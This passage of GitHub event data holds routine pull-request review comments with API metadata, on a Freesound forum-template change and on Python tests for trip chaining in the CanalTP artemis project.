comments{/number}","contents_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/contents/{+path}","compare_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/merges","archive_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/downloads","issues_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/issues{/number}","pulls_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/pulls{/number}","milestones_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/milestones{/number}","notifications_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/labels{/name}","releases_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/releases{/id}","deployments_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/deployments","created_at":"2019-03-18T09:44:47Z","updated_at":"2019-03-18T12:48:25Z","pushed_at":"2019-03-18T12:48:23Z","git_url":"git://github.com/jeffchulg/SQL-Server-First-Responder-Kit.git","ssh_url":"git@github.com:jeffchulg/SQL-Server-First-Responder-Kit.git","clone_url":"https://github.com/jeffchulg/SQL-Server-First-Responder-Kit.git","svn_url":"https://github.com/jeffchulg/SQL-Server-First-Responder-Kit","homepage":"http://FirstResponderKit.org","size":13960,"stargazers_count":0,"watchers_count":0,"language":"PLpgSQL","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"dev"}},"base":{"label":"BrentOzarULTD:dev","ref":"dev","sha":"aa0147dad9e2f551220941abd615f2947c49851d","user":{"login":"BrentOzarULTD","id":2688558,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI2ODg1NTg=","avatar_url":"https://avatars1.githubusercontent.com/u/2688558?v=4","gravatar_id":"","url":"https://api.github.com/users/BrentOzarULTD","html_url":"https://github.com/BrentOzarULTD","followers_url":"https://api.github.com/users/BrentOzarULTD/followers","following_url":"https://api.github.com/users/BrentOzarULTD/following{/other_user}","gists_url":"https://api.github.com/users/BrentOzarULTD/gists{/gist_id}","starred_url":"https://api.github.com/users/BrentOzarULTD/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BrentOzarULTD/subscriptions","organizations_url":"https://api.github.com/users/BrentOzarULTD/orgs","repos_url":"https://api.github.com/users/BrentOzarULTD/repos","events_url":"https://api.github.com/users/BrentOzarULTD/events{/privacy}","received_events_url":"https://api.github.com/users/BrentOzarULTD/received_events","type":"Organization","site_admin":false},"repo":{"id":20408831,"node_id":"MDEwOlJlcG9zaXRvcnkyMDQwODgzMQ==","name":"SQL-Server-First-Responder-Kit","full_name":"BrentOzarULTD/SQL-Server-First-Responder-Kit","private":false,"owner":{"login":"BrentOzarULTD","id":2688558,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI2ODg1NTg=","avatar_url":"https://avatars1.githubusercontent.com/u/2688558?v=4","gravatar_id":"","url":"https://api.github.com/users/BrentOzarULTD","html_url":"https://github.com/BrentOzarULTD","followers_url":"https://api.github.com/users/BrentOzarULTD/followers","following_url":"https://api.github.com/users/BrentOzarULTD/following{/other_user}","gists_url":"https://api.github.com/users/BrentOzarULTD/gists{/gist_id}","starred_url":"https://api.github.com/users/BrentOzarULTD/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BrentOzarULTD/subscriptions","organizations_url":"https://api.github.com/users/BrentOzarULTD/orgs","repos_url":"https://api.github.com/users/BrentOzarULTD/repos","events_url":"https://api.github.com/users/BrentOzarULTD/events{/privacy}","received_events_url":"https://api.github.com/users/BrentOzarULTD/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit","description":"sp_Blitz, sp_BlitzCache, sp_BlitzFirst, sp_BlitzIndex, and other SQL Server scripts for health checks and performance tuning.","fork":false,"url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit","forks_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/forks","keys_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/teams","hooks_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/hooks","issue_events_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/issues/events{/number}","events_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/events","assignees_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/assignees{/user}","branches_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/branches{/branch}","tags_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/tags","blobs_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/git/refs{/sha}","trees_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/statuses/{sha}","languages_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/languages","stargazers_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/stargazers","contributors_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/contributors","subscribers_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/subscribers","subscription_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/subscription","commits_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/commits{/sha}","git_commits_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/git/commits{/sha}","comments_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/comments{/number}","issue_comment_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/issues/comments{/number}","contents_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/contents/{+path}","compare_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/merges","archive_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/downloads","issues_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/issues{/number}","pulls_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls{/number}","milestones_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/milestones{/number}","notifications_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/labels{/name}","releases_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/releases{/id}","deployments_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/deployments","created_at":"2014-06-02T15:26:41Z","updated_at":"2019-03-20T17:59:55Z","pushed_at":"2019-03-20T19:30:18Z","git_url":"git://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit.git","ssh_url":"git@github.com:BrentOzarULTD/SQL-Server-First-Responder-Kit.git","clone_url":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit.git","svn_url":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit","homepage":"http://FirstResponderKit.org","size":13833,"stargazers_count":1383,"watchers_count":1383,"language":"PLpgSQL","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":394,"mirror_url":null,"archived":false,"open_issues_count":10,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":394,"open_issues":10,"watchers":1383,"default_branch":"dev"}},"_links":{"self":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/1997"},"html":{"href":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit/pull/1997"},"issue":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/issues/1997"},"comments":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/issues/1997/comments"},"review_comments":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/1997/comments"},"review_comment":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/1997/commits"},"statuses":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/statuses/4a85575f11a8ace060c270dffd4d6460f255a2c4"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 20408831,
"name": "BrentOzarULTD/SQL-Server-First-Responder-Kit",
"url": "https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit"
}
|
{
"id": 245462,
"login": "BrentOzar",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/245462?",
"url": "https://api.github.com/users/BrentOzar"
}
|
{
"id": 2688558,
"login": "BrentOzarULTD",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2688558?",
"url": "https://api.github.com/orgs/BrentOzarULTD"
}
| 2019-03-20T23:33:41 |
9284022782
|
{"actor":{"display_login":"BrentOzar"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/MTG/freesound/pulls/comments/284234582","pull_request_review_id":237794148,"id":284234582,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI4NDIzNDU4Mg==","diff_hunk":"@@ -13,10 +13,22 @@\n \n {% include 'forum/html_explanation.html' %}\n \n-\n-<table>\n-{{form.as_p}}\n-</table>\n+<div>\n+ {{ form.non_field_errors }}\n+ {{ form.title.errors }}\n+<p>\n+ <label for=\"{{ form.title.id_for_label }}\">Thread title:</label><br>","path":"templates/forum/new_thread.html","position":12,"original_position":12,"commit_id":"d639401745ff0cba1e0add7bbb0c1d10b6f83b99","original_commit_id":"d639401745ff0cba1e0add7bbb0c1d10b6f83b99","user":{"login":"alastair","id":19217,"node_id":"MDQ6VXNlcjE5MjE3","avatar_url":"https://avatars2.githubusercontent.com/u/19217?v=4","gravatar_id":"","url":"https://api.github.com/users/alastair","html_url":"https://github.com/alastair","followers_url":"https://api.github.com/users/alastair/followers","following_url":"https://api.github.com/users/alastair/following{/other_user}","gists_url":"https://api.github.com/users/alastair/gists{/gist_id}","starred_url":"https://api.github.com/users/alastair/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alastair/subscriptions","organizations_url":"https://api.github.com/users/alastair/orgs","repos_url":"https://api.github.com/users/alastair/repos","events_url":"https://api.github.com/users/alastair/events{/privacy}","received_events_url":"https://api.github.com/users/alastair/received_events","type":"User","site_admin":false},"body":"could have been done as `{{ form.title.label_tag }}`, but I wanted to change the label text from 'title' to 'thread title'","created_at":"2019-05-15T12:42:54Z","updated_at":"2019-05-15T12:42:54Z","html_url":"https://github.com/MTG/freesound/pull/1318#discussion_r284234582","pull_request_url":"https://api.github.com/repos/MTG/freesound/pulls/1318","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/MTG/freesound/pulls/comments/284234582"},"html":{"href":"https://github.com/MTG/freesound/pull/1318#discussion_r284234582"},"pull_request":{"href":"https://api.github.com/repos/MTG/freesound/pulls/1318"}}},"pull_request":{"url":"https://api.github.com/repos/MTG/freesound/pulls/1318","id":279079508,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjc5MDc5NTA4","html_url":"https://github.com/MTG/freesound/pull/1318","diff_url":"https://github.com/MTG/freesound/pull/1318.diff","patch_url":"https://github.com/MTG/freesound/pull/1318.patch","issue_url":"https://api.github.com/repos/MTG/freesound/issues/1318","number":1318,"state":"open","locked":false,"title":"Format the new/edit/reply forms for forum posts","user":{"login":"alastair","id":19217,"node_id":"MDQ6VXNlcjE5MjE3","avatar_url":"https://avatars2.githubusercontent.com/u/19217?v=4","gravatar_id":"","url":"https://api.github.com/users/alastair","html_url":"https://github.com/alastair","followers_url":"https://api.github.com/users/alastair/followers","following_url":"https://api.github.com/users/alastair/following{/other_user}","gists_url":"https://api.github.com/users/alastair/gists{/gist_id}","starred_url":"https://api.github.com/users/alastair/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alastair/subscriptions","organizations_url":"https://api.github.com/users/alastair/orgs","repos_url":"https://api.github.com/users/alastair/repos","events_url":"https://api.github.com/users/alastair/events{/privacy}","received_events_url":"https://api.github.com/users/alastair/received_events","type":"User","site_admin":false},"body":"**Issue(s)**\r\nFixes #1316\r\n\r\n**Description**\r\nQuick fix to make the new thread page a bit nicer looking. Small fix, so I decided to do it now instead of waiting 12 more months :)\r\n","created_at":"2019-05-15T12:41:23Z","updated_at":"2019-05-15T12:42:54Z","closed_at":null,"merged_at":null,"merge_commit_sha":"3708c8b7c297d580a20453fddeeb5ed967b1cbb4","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/MTG/freesound/pulls/1318/commits","review_comments_url":"https://api.github.com/repos/MTG/freesound/pulls/1318/comments","review_comment_url":"https://api.github.com/repos/MTG/freesound/pulls/comments{/number}","comments_url":"https://api.github.com/repos/MTG/freesound/issues/1318/comments","statuses_url":"https://api.github.com/repos/MTG/freesound/statuses/d639401745ff0cba1e0add7bbb0c1d10b6f83b99","head":{"label":"MTG:forum-new-post-layout","ref":"forum-new-post-layout","sha":"d639401745ff0cba1e0add7bbb0c1d10b6f83b99","user":{"login":"MTG","id":2728938,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3Mjg5Mzg=","avatar_url":"https://avatars0.githubusercontent.com/u/2728938?v=4","gravatar_id":"","url":"https://api.github.com/users/MTG","html_url":"https://github.com/MTG","followers_url":"https://api.github.com/users/MTG/followers","following_url":"https://api.github.com/users/MTG/following{/other_user}","gists_url":"https://api.github.com/users/MTG/gists{/gist_id}","starred_url":"https://api.github.com/users/MTG/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MTG/subscriptions","organizations_url":"https://api.github.com/users/MTG/orgs","repos_url":"https://api.github.com/users/MTG/repos","events_url":"https://api.github.com/users/MTG/events{/privacy}","received_events_url":"https://api.github.com/users/MTG/received_events","type":"Organization","site_admin":false},"repo":{"id":6583992,"node_id":"MDEwOlJlcG9zaXRvcnk2NTgzOTky","name":"freesound","full_name":"MTG/freesound","private":false,"owner":{"login":"MTG","id":2728938,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3Mjg5Mzg=","avatar_url":"https://avatars0.githubusercontent.com/u/2728938?v=4","gravatar_id":"","url":"https://api.github.com/users/MTG","html_url":"https://github.com/MTG","followers_url":"https://api.github.com/users/MTG/followers","following_url":"https://api.github.com/users/MTG/following{/other_user}","gists_url":"https://api.github.com/users/MTG/gists{/gist_id}","starred_url":"https://api.github.com/users/MTG/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MTG/subscriptions","organizations_url":"https://api.github.com/users/MTG/orgs","repos_url":"https://api.github.com/users/MTG/repos","events_url":"https://api.github.com/users/MTG/events{/privacy}","received_events_url":"https://api.github.com/users/MTG/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/MTG/freesound","description":"The Freesound website","fork":false,"url":"https://api.github.com/repos/MTG/freesound","forks_url":"https://api.github.com/repos/MTG/freesound/forks","keys_url":"https://api.github.com/repos/MTG/freesound/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MTG/freesound/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MTG/freesound/teams","hooks_url":"https://api.github.com/repos/MTG/freesound/hooks","issue_events_url":"https://api.github.com/repos/MTG/freesound/issues/events{/number}","events_url":"https://api.github.com/repos/MTG/freesound/events","assignees_url":"https://api.github.com/repos/MTG/freesound/assignees{/user}","branches_url":"https://api.github.com/repos/MTG/freesound/branches{/branch}","tags_url":"https://api.github.com/repos/MTG/freesound/tags","blobs_url":"https://api.github.com/repos/MTG/freesound/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MTG/freesound/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MTG/freesound/git/refs{/sha}","trees_url":"https://api.github.com/repos/MTG/freesound/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MTG/freesound/statuses/{sha}","languages_url":"https://api.github.com/repos/MTG/freesound/languages","stargazers_url":"https://api.github.com/repos/MTG/freesound/stargazers","contributors_url":"https://api.github.com/repos/MTG/freesound/contributors","subscribers_url":"https://api.github.com/repos/MTG/freesound/subscribers","subscription_url":"https://api.github.com/repos/MTG/freesound/subscription","commits_url":"https://api.github.com/repos/MTG/freesound/commits{/sha}","git_commits_url":"https://api.github.com/repos/MTG/freesound/git/commits{/sha}","comments_url":"https://api.github.com/repos/MTG/freesound/comments{/number}","issue_comment_url":"https://api.github.com/repos/MTG/freesound/issues/comments{/number}","contents_url":"https://api.github.com/repos/MTG/freesound/contents/{+path}","compare_url":"https://api.github.com/repos/MTG/freesound/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MTG/freesound/merges","archive_url":"https://api.github.com/repos/MTG/freesound/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MTG/freesound/downloads","issues_url":"https://api.github.com/repos/MTG/freesound/issues{/number}","pulls_url":"https://api.github.com/repos/MTG/freesound/pulls{/number}","milestones_url":"https://api.github.com/repos/MTG/freesound/milestones{/number}","notifications_url":"https://api.github.com/repos/MTG/freesound/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MTG/freesound/labels{/name}","releases_url":"https://api.github.com/repos/MTG/freesound/releases{/id}","deployments_url":"https://api.github.com/repos/MTG/freesound/deployments","created_at":"2012-11-07T18:25:03Z","updated_at":"2019-05-14T08:33:13Z","pushed_at":"2019-05-15T12:41:23Z","git_url":"git://github.com/MTG/freesound.git","ssh_url":"git@github.com:MTG/freesound.git","clone_url":"https://github.com/MTG/freesound.git","svn_url":"https://github.com/MTG/freesound","homepage":"https://freesound.org","size":60120,"stargazers_count":171,"watchers_count":171,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":42,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":159,"license":null,"forks":42,"open_issues":159,"watchers":171,"default_branch":"master"}},"base":{"label":"MTG:master","ref":"master","sha":"7ad6fd1d04b10911986025e31c37a387df0c6de7","user":{"login":"MTG","id":2728938,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3Mjg5Mzg=","avatar_url":"https://avatars0.githubusercontent.com/u/2728938?v=4","gravatar_id":"","url":"https://api.github.com/users/MTG","html_url":"https://github.com/MTG","followers_url":"https://api.github.com/users/MTG/followers","following_url":"https://api.github.com/users/MTG/following{/other_user}","gists_url":"https://api.github.com/users/MTG/gists{/gist_id}","starred_url":"https://api.github.com/users/MTG/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MTG/subscriptions","organizations_url":"https://api.github.com/users/MTG/orgs","repos_url":"https://api.github.com/users/MTG/repos","events_url":"https://api.github.com/users/MTG/events{/privacy}","received_events_url":"https://api.github.com/users/MTG/received_events","type":"Organization","site_admin":false},"repo":{"id":6583992,"node_id":"MDEwOlJlcG9zaXRvcnk2NTgzOTky","name":"freesound","full_name":"MTG/freesound","private":false,"owner":{"login":"MTG","id":2728938,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3Mjg5Mzg=","avatar_url":"https://avatars0.githubusercontent.com/u/2728938?v=4","gravatar_id":"","url":"https://api.github.com/users/MTG","html_url":"https://github.com/MTG","followers_url":"https://api.github.com/users/MTG/followers","following_url":"https://api.github.com/users/MTG/following{/other_user}","gists_url":"https://api.github.com/users/MTG/gists{/gist_id}","starred_url":"https://api.github.com/users/MTG/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MTG/subscriptions","organizations_url":"https://api.github.com/users/MTG/orgs","repos_url":"https://api.github.com/users/MTG/repos","events_url":"https://api.github.com/users/MTG/events{/privacy}","received_events_url":"https://api.github.com/users/MTG/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/MTG/freesound","description":"The Freesound website","fork":false,"url":"https://api.github.com/repos/MTG/freesound","forks_url":"https://api.github.com/repos/MTG/freesound/forks","keys_url":"https://api.github.com/repos/MTG/freesound/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MTG/freesound/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MTG/freesound/teams","hooks_url":"https://api.github.com/repos/MTG/freesound/hooks","issue_events_url":"https://api.github.com/repos/MTG/freesound/issues/events{/number}","events_url":"https://api.github.com/repos/MTG/freesound/events","assignees_url":"https://api.github.com/repos/MTG/freesound/assignees{/user}","branches_url":"https://api.github.com/repos/MTG/freesound/branches{/branch}","tags_url":"https://api.github.com/repos/MTG/freesound/tags","blobs_url":"https://api.github.com/repos/MTG/freesound/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MTG/freesound/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MTG/freesound/git/refs{/sha}","trees_url":"https://api.github.com/repos/MTG/freesound/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MTG/freesound/statuses/{sha}","languages_url":"https://api.github.com/repos/MTG/freesound/languages","stargazers_url":"https://api.github.com/repos/MTG/freesound/stargazers","contributors_url":"https://api.github.com/repos/MTG/freesound/contributors","subscribers_url":"https://api.github.com/repos/MTG/freesound/subscribers","subscription_url":"https://api.github.com/repos/MTG/freesound/subscription","commits_url":"https://api.github.com/repos/MTG/freesound/commits{/sha}","git_commits_url":"https://api.github.com/repos/MTG/freesound/git/commits{/sha}","comments_url":"https://api.github.com/repos/MTG/freesound/comments{/number}","issue_comment_url":"https://api.github.com/repos/MTG/freesound/issues/comments{/number}","contents_url":"https://api.github.com/repos/MTG/freesound/contents/{+path}","compare_url":"https://api.github.com/repos/MTG/freesound/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MTG/freesound/merges","archive_url":"https://api.github.com/repos/MTG/freesound/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MTG/freesound/downloads","issues_url":"https://api.github.com/repos/MTG/freesound/issues{/number}","pulls_url":"https://api.github.com/repos/MTG/freesound/pulls{/number}","milestones_url":"https://api.github.com/repos/MTG/freesound/milestones{/number}","notifications_url":"https://api.github.com/repos/MTG/freesound/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MTG/freesound/labels{/name}","releases_url":"https://api.github.com/repos/MTG/freesound/releases{/id}","deployments_url":"https://api.github.com/repos/MTG/freesound/deployments","created_at":"2012-11-07T18:25:03Z","updated_at":"2019-05-14T08:33:13Z","pushed_at":"2019-05-15T12:41:23Z","git_url":"git://github.com/MTG/freesound.git","ssh_url":"git@github.com:MTG/freesound.git","clone_url":"https://github.com/MTG/freesound.git","svn_url":"https://github.com/MTG/freesound","homepage":"https://freesound.org","size":60120,"stargazers_count":171,"watchers_count":171,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":42,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":159,"license":null,"forks":42,"open_issues":159,"watchers":171,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/MTG/freesound/pulls/1318"},"html":{"href":"https://github.com/MTG/freesound/pull/1318"},"issue":{"href":"https://api.github.com/repos/MTG/freesound/issues/1318"},"comments":{"href":"https://api.github.com/repos/MTG/freesound/issues/1318/comments"},"review_comments":{"href":"https://api.github.com/repos/MTG/freesound/pulls/1318/comments"},"review_comment":{"href":"https://api.github.com/repos/MTG/freesound/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/MTG/freesound/pulls/1318/commits"},"statuses":{"href":"https://api.github.com/repos/MTG/freesound/statuses/d639401745ff0cba1e0add7bbb0c1d10b6f83b99"}},"author_association":"MEMBER"}}
|
{
"id": 6583992,
"name": "MTG/freesound",
"url": "https://api.github.com/repos/MTG/freesound"
}
|
{
"id": 19217,
"login": "alastair",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/19217?",
"url": "https://api.github.com/users/alastair"
}
|
{
"id": 2728938,
"login": "MTG",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2728938?",
"url": "https://api.github.com/orgs/MTG"
}
| 2019-05-15T12:42:54 |
9630693861
|
{"actor":{"display_login":"alastair"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/CanalTP/artemis/pulls/comments/260310810","pull_request_review_id":207987071,"id":260310810,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2MDMxMDgxMA==","diff_hunk":"@@ -1052,6 +1052,281 @@ def test_kirin_cots_sequence_08(self):\n max_nb_transfers=\"0\",\n data_freshness=\"realtime\")\n \n+ @xfail(reason=\"Waiting for NAVP-1035\", raises=AssertionError, strict=True)\n+ def test_kirin_cots_add_trip_chain_type_1(self):\n+ \"\"\"\n+ Test for case 11 from the file \"Enchainement Cas_API_20181010.xlsx\"\n+ 1. A simple trip add with 5 stop_times all existing in navitia\n+ 2. Trip modified with 15 minutes delay in each stop_times\n+ 3. Return to normal\n+ \"\"\"\n+ \"\"\"\n+ Base and realtime request","path":"artemis/tests/guichet_unique_test.py","position":13,"original_position":13,"commit_id":"05161e80ad7f6dbcd08b9d883e39c80347a1ea33","original_commit_id":"05161e80ad7f6dbcd08b9d883e39c80347a1ea33","user":{"login":"mbounabi","id":35227890,"node_id":"MDQ6VXNlcjM1MjI3ODkw","avatar_url":"https://avatars3.githubusercontent.com/u/35227890?v=4","gravatar_id":"","url":"https://api.github.com/users/mbounabi","html_url":"https://github.com/mbounabi","followers_url":"https://api.github.com/users/mbounabi/followers","following_url":"https://api.github.com/users/mbounabi/following{/other_user}","gists_url":"https://api.github.com/users/mbounabi/gists{/gist_id}","starred_url":"https://api.github.com/users/mbounabi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mbounabi/subscriptions","organizations_url":"https://api.github.com/users/mbounabi/orgs","repos_url":"https://api.github.com/users/mbounabi/repos","events_url":"https://api.github.com/users/mbounabi/events{/privacy}","received_events_url":"https://api.github.com/users/mbounabi/received_events","type":"User","site_admin":false},"body":"Minor: comment line not really necessary","created_at":"2019-02-26T14:32:57Z","updated_at":"2019-02-26T14:56:39Z","html_url":"https://github.com/CanalTP/artemis/pull/301#discussion_r260310810","pull_request_url":"https://api.github.com/repos/CanalTP/artemis/pulls/301","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/CanalTP/artemis/pulls/comments/260310810"},"html":{"href":"https://github.com/CanalTP/artemis/pull/301#discussion_r260310810"},"pull_request":{"href":"https://api.github.com/repos/CanalTP/artemis/pulls/301"}}},"pull_request":{"url":"https://api.github.com/repos/CanalTP/artemis/pulls/301","id":255042233,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU1MDQyMjMz","html_url":"https://github.com/CanalTP/artemis/pull/301","diff_url":"https://github.com/CanalTP/artemis/pull/301.diff","patch_url":"https://github.com/CanalTP/artemis/pull/301.patch","issue_url":"https://api.github.com/repos/CanalTP/artemis/issues/301","number":301,"state":"open","locked":false,"title":"artemis: tests added on trip add chaining with some options","user":{"login":"kadhikari","id":5418640,"node_id":"MDQ6VXNlcjU0MTg2NDA=","avatar_url":"https://avatars1.githubusercontent.com/u/5418640?v=4","gravatar_id":"","url":"https://api.github.com/users/kadhikari","html_url":"https://github.com/kadhikari","followers_url":"https://api.github.com/users/kadhikari/followers","following_url":"https://api.github.com/users/kadhikari/following{/other_user}","gists_url":"https://api.github.com/users/kadhikari/gists{/gist_id}","starred_url":"https://api.github.com/users/kadhikari/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kadhikari/subscriptions","organizations_url":"https://api.github.com/users/kadhikari/orgs","repos_url":"https://api.github.com/users/kadhikari/repos","events_url":"https://api.github.com/users/kadhikari/events{/privacy}","received_events_url":"https://api.github.com/users/kadhikari/received_events","type":"User","site_admin":false},"body":"\r\nTests on trip add with multiple actions:\r\n\r\n1. Add a new trip, update with a delay and update to normal\r\n2. Add a new trip, update with a delay, update with a stop_time deleted and update to normal \r\n3. Add a new trip, update with a delay, update with a new stop_time and delete de trip\r\n\r\nFor details see: 